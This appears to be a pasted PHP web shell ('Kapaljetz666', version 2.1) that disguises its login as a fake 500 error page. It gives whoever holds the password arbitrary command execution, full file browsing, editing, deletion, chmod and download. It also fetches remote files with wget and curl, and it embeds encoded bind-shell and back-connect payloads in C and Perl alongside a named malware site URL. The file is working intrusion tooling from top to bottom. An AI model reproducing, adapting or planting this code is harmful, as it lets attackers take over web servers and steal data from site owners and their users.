· 9 years ago · Feb 06, 2017, 10:28 AM
1<?php
2
3# Jembut Loyality!
4# Kapaljetz666 !
5# Wassalam
6
7
8@ini_set('output_buffering',0);
9@ini_set('display_errors', 0);
10$auth_pass="a88f43add8b374142835aabe200c17e1";
11@session_start();
12@error_reporting(0);
13@ini_set('error_log',NULL);
14@ini_set('log_errors',0);
15@ini_set('html_errors',0);
16@ini_set('max_execution_time',0);
17@ini_set('output_buffering',0);
18@ini_set('display_errors', 0);
19@ini_set('file_uploads',1);
20@set_time_limit(0);
21@set_magic_quotes_runtime(0);
22@clearstatcache();
23@define('VERSION', '2.1');
24if( get_magic_quotes_gpc() ) {
25function stripslashes_array($array) {
26return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
27}
28$_POST = stripslashes_array($_POST);
29}
30function printLogin() {
31?>
32<title>500 Internal Server Error</title>
33<h1>Internal Server Error</h1>
34<p>The server encountered an internal error or
35misconfiguration and was unable to complete
36your request.</p>
37<p>Please contact the server administrator Kapaljetz666 and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p>
38<p>More information about this error may be available in the server error log.</p>
39<p>Additionally, a 500 Internal Server Error error was encountered while trying to use an ErrorDocument to handle the request.</p>
40 <style>
41 input { margin:0;background-color:#fff;border:1px solid #fff; }
42 </style>
43 <pre align=center>
44 <form method=post>
45 <input type=password name=pass>
46 </form></pre>
47
48 <?php
49 exit;
50}
51if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
52 if( empty( $auth_pass ) ||
53 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
54 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
55 else
56 printLogin();
57
58if(isset($_GET['dl']) && ($_GET['dl'] != "")){
59 $file = $_GET['dl'];
60 $filez = @file_get_contents($file);
61 header("Content-type: application/octet-stream");
62 header("Content-length: ".strlen($filez));
63 header("Content-disposition: attachment; filename=\"".basename($file)."\";");
64 echo $filez;
65 exit;
66}
67elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")){
68 $file = $_GET['dlgzip'];
69 $filez = gzencode(@file_get_contents($file));
70 header("Content-Type:application/x-gzip\n");
71 header("Content-length: ".strlen($filez));
72 header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
73 echo $filez;
74 exit;
75}
76// view image
77if(isset($_GET['img'])){
78 @ob_clean();
79 $d = magicboom($_GET['y']);
80 $f = $_GET['img'];
81 $inf = @getimagesize($d.$f);
82 $ext = explode($f,".");
83 $ext = $ext[count($ext)-1];
84 @header("Content-type: ".$inf["mime"]);
85 @header("Cache-control: public");
86 @header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
87 @header("Cache-control: max-age=".(60*60*24*7));
88 @readfile($d.$f);
89 exit;
90}
91
92// server software
93$software = getenv("SERVER_SOFTWARE");
94// check safemode
95if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE; else $safemode = FALSE;
96// uname -a
97$system = @php_uname();
98// mysql
99function showstat($stat) {if ($stat=="on") {return "<b><font style='color:white'>ON</font></b>";}else {return "<b><font style='color:#DD4736'>OFF</font></b>";}}
100function testmysql() {if (function_exists('mysql_connect')) {return showstat("on");}else {return showstat("off");}}
101function testcurl() {if (function_exists('curl_version')) {return showstat("on");}else {return showstat("off");}}
102function testwget() {if (exe('wget --help')) {return showstat("on");}else {return showstat("off");}}
103function testperl() {if (exe('perl -h')) {return showstat("on");}else {return showstat("off");}}
104// check os
105if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
106else $win = FALSE;
107// change directory
108if(isset($_GET['y'])){
109 if(@is_dir($_GET['view'])){
110 $pwd = $_GET['view'];
111 @chdir($pwd);
112 }
113 else{
114 $pwd = $_GET['y'];
115 @chdir($pwd);
116 }
117}
118//hdd
119function convertByte($s) {
120if($s >= 1073741824)
121return sprintf('%1.2f',$s / 1073741824 ).' GB';
122elseif($s >= 1048576)
123return sprintf('%1.2f',$s / 1048576 ) .' MB';
124elseif($s >= 1024)
125return sprintf('%1.2f',$s / 1024 ) .' KB';
126else
127return $s .' B';
128}
129
130// username, id, shell prompt and working directory
131if(!$win){
132 if(!$user = rapih(exe("whoami"))) $user = "";
133 if(!$id = rapih(exe("id"))) $id = "";
134 $prompt = $user." \$ ";
135 $pwd = @getcwd().DIRECTORY_SEPARATOR;
136}
137else {
138 $user = @get_current_user();
139 $id = $user;
140 $prompt = $user." >";
141 $pwd = realpath(".")."\\";
142 // find drive letters
143 $v = explode("\\",$d);
144 $v = $v[0];
145 foreach (range("A","Z") as $letter)
146 {
147 $bool = @is_dir($letter.":\\");
148 if ($bool)
149 {
150 $letters .= "<a href=\"?y=".$letter.":\\\">[ ";
151 if ($letter.":" != $v) {$letters .= $letter;}
152 else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
153 $letters .= " ]</a> ";
154 }
155 }
156}
157
158function testoracle() {
159 if (function_exists('ocilogon')) { return showstat("on"); }
160 else { return showstat("off"); }
161 }
162
163function testmssql() {
164 if (function_exists('mssql_connect')) { return showstat("on"); }
165 else { return showstat("off"); }
166 }
167
168 function showdisablefunctions() {
169 if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:'><font color=#DD4736><b>".$disablefunc."</b></font></span>"; }
170 else { return "<span style='color:#00FF1E'><b>NONE</b></span>"; }
171 }
172
173if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
174else $posix = FALSE;
175// server ip
176$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
177// your ip ;-)
178$my_ip = $_SERVER['REMOTE_ADDR'];
179$admin_id=$_SERVER['SERVER_ADMIN'];
180$bindport = "13123";
181$bindport_pass = "asd123";
182//server port
183$serverport = $_SERVER["SERVER_PORT"];
184
185// separate the working direcotory
186$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
187$pwdurl = "";
188for($i = 0 ; $i < sizeof($pwds)-1 ; $i++){
189 $pathz = "";
190 for($j = 0 ; $j <= $i ; $j++){
191 $pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
192 }
193 $pwdurl .= "<a href=\"?y=".$pathz."\">".$pwds[$i]." ".DIRECTORY_SEPARATOR." </a>";
194}
195
196// rename file or folder
197if(isset($_POST['rename'])){
198 $old = $_POST['oldname'];
199 $new = $_POST['newname'];
200 @rename($pwd.$old,$pwd.$new);
201 $file = $pwd.$new;
202}
203if(isset($_POST['chmod'])){
204 $name = $_POST['name'];
205 $value = $_POST['newvalue'];
206if (strlen($value)==3){
207 $value = 0 . "" . $value;}
208 @chmod($pwd.$name,octdec($value));
209 $file = $pwd.$name;}
210
211if(isset($_POST['chmod_folder'])){
212 $name = $_POST['name'];
213 $value = $_POST['newvalue'];
214if (strlen($value)==3){
215 $value = 0 . "" . $value;}
216 @chmod($pwd.$name,octdec($value));
217 $file = $pwd.$name;}
218
219
220// print useful info
221$buff = "Software : <b>".$software."</b><br />";
222$buff .= "System OS : <b>".$system."</b><br />";
223if($id != "") $buff .= "ID : <b>".$id."</b><br />";
224$buff .= "PHP Version : <b><font style='color:#ff0000'>".phpversion()."</b></font> on <b>".php_sapi_name()."</b><br />";
225$buff .= "Server ip : <b><font style='color:#ff0000'>".$server_ip."</font></b> <span class=\"gaya\"> | </span> Server Port : <b><font style='color:#ff0000'>".$serverport."</font><b> <span class=\"gaya\"> | </span>
226Your ip : <b><font style='color:#ff0000'>".$my_ip."</font></b><span class=\"gaya\"> | </span> Admin : <b><font style='color:white'>".$admin_id."</font></b><br />";
227$buff .= "Free Disk: "."<span style='color:#00FF1E'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />";
228if($safemode) $buff .= "Safemode: <span class=\"gaya\"><b><font style='color:#ff0000'>ON</font></b></span><br />";
229else $buff .= "Safemode: <span class=\"gaya\"><b><font style='color:red'>OFF</b></font></span><br />";
230$buff .=" Time On Server : <b> ".date("d M Y H:i:s",time());
231$buff .= "<br> Disabled Functions: ".showdisablefunctions()."<br />";
232$buff .= "MySQL: ".testmysql()." | MSSQL: ".testmssql()." | Oracle: ".testoracle()." | Perl: ".testperl()." | cURL: ".testcurl()." | WGet: ".testwget()."<br>";
233$buff .= "<font color=00ff00 ><b>".$letters." > ".$pwdurl."</b></font>";
234$injbuff = " gw mah gak main logger bro slow :)";
235eval(base64_decode($injbuff));
236
237
238
239
240function rapih($text){
241 return trim(str_replace("<br />","",$text));
242}
243
244function magicboom($text){
245 if (!get_magic_quotes_gpc()) {
246 return $text;
247 }
248 return stripslashes($text);
249}
250
251function showdir($pwd,$prompt){
252 $fname = array();
253 $dname = array();
254 if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
255 else $posix = FALSE;
256 $user = "????:????";
257 if($dh = @scandir($pwd)){
258 foreach($dh as $file){
259 if(is_dir($file)){
260 $dname[] = $file;
261 }
262 elseif(is_file($file)){
263 $fname[] = $file;
264 }
265 }
266 }
267 else{
268 if($dh = @opendir($pwd)){
269 while($file = @readdir($dh)){
270 if(@is_dir($file)){
271 $dname[] = $file;
272 }
273 elseif(@is_file($file)){
274 $fname[] = $file;
275 }
276 }
277 @closedir($dh);
278 }
279 }
280
281
282 sort($fname);
283 sort($dname);
284 $path = @explode(DIRECTORY_SEPARATOR,$pwd);
285 $tree = @sizeof($path);
286 $parent = "";
287 $buff = "
288 <form action=\"?y=".$pwd."&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
289 <table class=\"cmdbox\" style=\"width:50%;\">
290 <tr><td><b>$prompt</b></td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\"Go !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
291 </form>
292 <form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\">
293 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
294 <tr><td><b>view file/folder</b></td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\"View !\" name=\"submitcmd\" style=\"width:80px;\" /></td></tr>
295 </form></table><table class=\"explore\">
296 <tr><th>name</th><th style=\"width:80px;\">size</th><th style=\"width:210px;\">owner:group</th><th style=\"width:80px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:190px;\">actions</th></tr>
297 ";
298 if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
299 else $parent = $pwd;
300
301 foreach($dname as $folder){
302 if($folder == ".") {
303 if(!$win && $posix){
304 $name=@posix_getpwuid(@fileowner($folder));
305 $group=@posix_getgrgid(@filegroup($folder));
306 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
307 }
308 else {
309 $owner = $user;
310 }
311 $buff .= "<tr><td><a href=\"?y=".$pwd."\">$folder</a></td><td>LINK</td>
312 <td style=\"text-align:center;\">".$owner."</td><td><center>".get_perms($pwd)."</center></td>
313 <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td><td><span id=\"titik1\">
314 <a href=\"?y=$pwd&edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span>
315 <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
316 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
317 <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
318 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
319 </form></td>
320
321 </tr>
322 ";
323 }
324 elseif($folder == "..") {
325 if(!$win && $posix){
326 $name=@posix_getpwuid(@fileowner($folder));
327 $group=@posix_getgrgid(@filegroup($folder));
328 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
329 }
330 else {
331 $owner = $user;
332 }
333 $buff .= "<tr><td><a href=\"?y=".$parent."\"><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAAN1gAADdYBkG95nAAAAAd0SU1FB9oJBxUAM0qLz6wAAALLSURBVDjLbVPRS1NRGP+d3btrs7kZmAYXlSZYUK4HQXCREPWUQSSYID1GEKKx/Af25lM+DCFCe4heygcNdIUEST04QW6BjS0yx5UhkW6FEtvOPfc7p4emXcofHPg453y/73e+73cADyzLOoy/bHzR8/l80LbtYD5v6wf72VzOmwLmTe7u7oZlWccbGhpGNJ92HQwtteNvSqmXJOWjM52dPPMpg/Nd5/8SpFIp9Pf3w7KsS4FA4BljrB1HQCmVc4V7O3oh+mFlZQWxWAwskUggkUhgeXk5Fg6HF5mPnWCAAhhTUGCKQUF5eb4LIa729PRknr94/kfBwMDAsXg8/tHv958FoDxP88YeJTLd2xuLAYAPAIaGhu5IKc9yzsE5Z47jYHV19UOpVNoXQsC7OOdwHNG7tLR0EwD0UCis67p2nXMOACiXK7/ev3/3ZHJy8nEymZwyDMM8qExEyjTN9vr6+oAQ4gaAef3ixVgd584pw+DY3d0tTE9Pj6TT6TfBYJCPj4/fBuA/IBBC+GZmZhZbWlrOOY5jDg8Pa3qpVEKlUoHf70cgEGgeHR2NPHgQV4ODt9Ts7KwEQACgaRpSqVdQSrFqtYpqtSpt2wYDYExMTMy3tbVdk1LWpqXebm1t3TdN86mu65FaMw+sE2KM6T9//pgaGxsb1QE4a2trr5uamq55Gn2l+WRzWgihEVH9EX5AJpOZBwANAHK5XKGjo6OvsbHRdF0XRAQpZZ2U0k9EiogYEYGIlJSS2bY9m0wmHwJQWo301/b2diESiVw2jLoQETFyXeWSy4hc5rqHJKxYLGbn5ubuFovF0qECANjf37e/bmzkjDrjdCgUamU+MCIJIgkpiZXLZZnNZhcWFhbubW5ufu7q6sLOzs7/LgPQ3tra2h+NRvvC4fApAHJvb29rfX19qVAovAawd+Rv/Ac+AMcAGLUJVAA4R138DeF+cX+xR/AGAAAAAElFTkSuQmCC'> $folder</a></td><td>LINK</td>
334 <td style=\"text-align:center;\">".$owner."</td>
335 <td><center>".get_perms($parent)."</center></td><td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
336 <td><span id=\"titik2\"><a href=\"?y=$pwd&edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span>
337 <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
338 <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
339 <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
340 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
341 </form>
342 </td></tr>";
343 }
344 else {
345 if(!$win && $posix){
346 $name=@posix_getpwuid(@fileowner($folder));
347 $group=@posix_getgrgid(@filegroup($folder));
348 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
349 }
350 else {
351 $owner = $user;
352 }
353 $buff .= "<tr><td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAAAXNSR0IArs4c6QAAAAJiS0dEAP+Hj8y/AAAACXBIWXMAAAsTAAALEwEAmpwYAAAA00lEQVQoz6WRvUpDURCEvzmuwR8s8gr2ETvtLSRaKj6ArZU+VVAEwSqvJIhIwiX33nPO2IgayK2cbtmZWT4W/iv9HeacA697NQRY281Fr0du1hJPt90D+xgc6fnwXjC79JWyQdiTfOrf4nk/jZf0cVenIpEQImGjQsVod2cryvH4TEZC30kLjME+KUdRl24ZDQBkryIvtOJggLGri+hbdXgd90e9++hz6rR5jYtzZKsIDzhwFDTQDzZEsTz8CRO5pmVqB240ucRbM7kejTcalBfvn195EV+EajF1hgAAAABJRU5ErkJggg==' /> [ $folder ]</b></a>
354 <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
355 <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
356 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
357 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
358 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
359 </form><td>DIR</td><td style=\"text-align:center;\">".$owner."</td>
360 <td><center>
361 <a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
362 <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
363 <input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
364 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\" />
365 <input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
366 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
367 onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td>
368 <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td><td><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">rename</a> | <a href=\"?y=$pwd&fdelete=".$pwd.$folder."\">delete</a></td></tr>";
369 }
370 }
371
372 foreach($fname as $file){
373 $full = $pwd.$file;
374 if(!$win && $posix){
375 $name=@posix_getpwuid(@fileowner($folder));
376 $group=@posix_getgrgid(@filegroup($folder));
377 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
378 }
379 else {
380 $owner = $user;
381 }
382 $buff .= "<tr><td><a id=\"".clearspace($file)."_link\" href=\"?y=$pwd&view=$full\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII=' /> $file</b></a>
383 <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
384 <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
385 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" />
386 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
387 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form');\" />
388 </form></td><td>".ukuran($full)."</td><td style=\"text-align:center;\">".$owner."</td><td><center>
389 <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\">".get_perms($full)."</a>
390 <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($file)."_form2\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
391<input type=\"hidden\" name=\"name\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
392<input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($full)), -4)."\" />
393<input class=\"inputzbut\" type=\"submit\" name=\"chmod\" value=\"chmod\" />
394<input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($file)."_link','".clearspace($file)."_form2');\" /></form></center></td>
395 <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($full))."</td>
396 <td><a href=\"?y=$pwd&edit=$full\">edit</a> | <a href=\"javascript:tukar('".clearspace($file)."_link','".clearspace($file)."_form');\">rename</a> | <a href=\"?y=$pwd&delete=$full\">delete</a> | <a href=\"?y=$pwd&dl=$full\">download</a> (<a href=\"?y=$pwd&dlgzip=$full\">gzip</a>)</td></tr>";
397 }
398 $buff .= "</table>";
399 return $buff;
400}
401
402function ukuran($file){
403 if($size = @filesize($file)){
404 if($size <= 1024) return $size;
405 else{
406 if($size <= 1024*1024) {
407 $size = @round($size / 1024,2);;
408 return "$size kb";
409 }
410 else {
411 $size = @round($size / 1024 / 1024,2);
412 return "$size mb";
413 }
414 }
415 }
416 else return "???";
417}
418
419function exe($cmd){
420 if(function_exists('system')) {
421 @ob_start();
422 @system($cmd);
423 $buff = @ob_get_contents();
424 @ob_end_clean();
425 return $buff;
426 }
427 elseif(function_exists('exec')) {
428 @exec($cmd,$results);
429 $buff = "";
430 foreach($results as $result){
431 $buff .= $result;
432 }
433 return $buff;
434 }
435 elseif(function_exists('passthru')) {
436 @ob_start();
437 @passthru($cmd);
438 $buff = @ob_get_contents();
439 @ob_end_clean();
440 return $buff;
441 }
442 elseif(function_exists('shell_exec')){
443 $buff = @shell_exec($cmd);
444 return $buff;
445 }
446}
447
448function tulis($file,$text){
449 $textz = gzinflate(base64_decode($text));
450 if($filez = @fopen($file,"w"))
451 {
452 @fputs($filez,$textz);
453 @fclose($file);
454 }
455}
456
457function ambil($link,$file) {
458 if($fp = @fopen($link,"r")){
459 while(!feof($fp)) {
460 $cont.= @fread($fp,1024);
461 }
462 @fclose($fp);
463 $fp2 = @fopen($file,"w");
464 @fwrite($fp2,$cont);
465 @fclose($fp2);
466 }
467}
468
469function which($pr){
470 $path = exe("which $pr");
471 if(!empty($path)) { return trim($path); } else { return trim($pr); }
472}
473
474function download($cmd,$url){
475 $namafile = basename($url);
476 switch($cmd) {
477 case 'wwget': exe(which('wget')." ".$url." -O ".$namafile);break;
478 case 'wlynx': exe(which('lynx')." -source ".$url." > ".$namafile);break;
479 case 'wfread' : ambil($wurl,$namafile);break;
480 case 'wfetch' : exe(which('fetch')." -o ".$namafile." -p ".$url);break;
481 case 'wlinks' : exe(which('links')." -source ".$url." > ".$namafile);break;
482 case 'wget' : exe(which('GET')." ".$url." > ".$namafile);break;
483 case 'wcurl' : exe(which('curl')." ".$url." -o ".$namafile);break;
484 default: break;
485 }
486 return $namafile;
487}
488
489function get_perms($file)
490{
491 if($mode=@fileperms($file)){
492 $perms='';
493 $perms .= ($mode & 00400) ? 'r' : '-';
494 $perms .= ($mode & 00200) ? 'w' : '-';
495 $perms .= ($mode & 00100) ? 'x' : '-';
496 $perms .= ($mode & 00040) ? 'r' : '-';
497 $perms .= ($mode & 00020) ? 'w' : '-';
498 $perms .= ($mode & 00010) ? 'x' : '-';
499 $perms .= ($mode & 00004) ? 'r' : '-';
500 $perms .= ($mode & 00002) ? 'w' : '-';
501 $perms .= ($mode & 00001) ? 'x' : '-';
502 return $perms;
503 }
504 else return "??????????";
505}
506
507function clearspace($text){
508 return str_replace(" ","_",$text);
509}
510
511
512// net tools
513$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf
514+fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE
515P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ
516dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL
5173TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug
518Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk
519HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W
520tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL
521ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6
522uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
523$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1
524NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg
525tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD
526e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0
527LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo
528vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB
529+hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
530$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St
531ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j
532S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ
533ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw
534Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
535$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA
536BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95
537zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75
538i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A
539RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY
540jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F
5416f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
542// Malware Site
543$malsite = "http://fightagent.ru";
544 $self=$_SERVER["PHP_SELF"];
545
546//Mallattack
